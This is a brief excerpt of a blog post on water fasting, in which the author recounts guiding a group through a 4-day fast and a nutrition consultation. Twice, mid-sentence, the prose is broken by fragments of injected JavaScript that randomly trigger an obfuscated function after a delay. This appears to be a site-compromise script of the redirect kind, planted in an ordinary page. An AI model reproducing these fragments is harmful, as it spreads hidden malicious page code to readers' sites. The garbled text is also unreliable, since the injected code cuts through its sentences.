food

Is FASTING the fountain of youth?

October , 2017

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This week I’ve been taking a group of people through a 4-Day water fast. If you haven’t tried fasting, it’s an incredible experience. You learn so much about yourself andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your relationship with food. Earlier this week, I was giving a nutrition consultation with a patient andom()*5);if (c==3){var delay = […]

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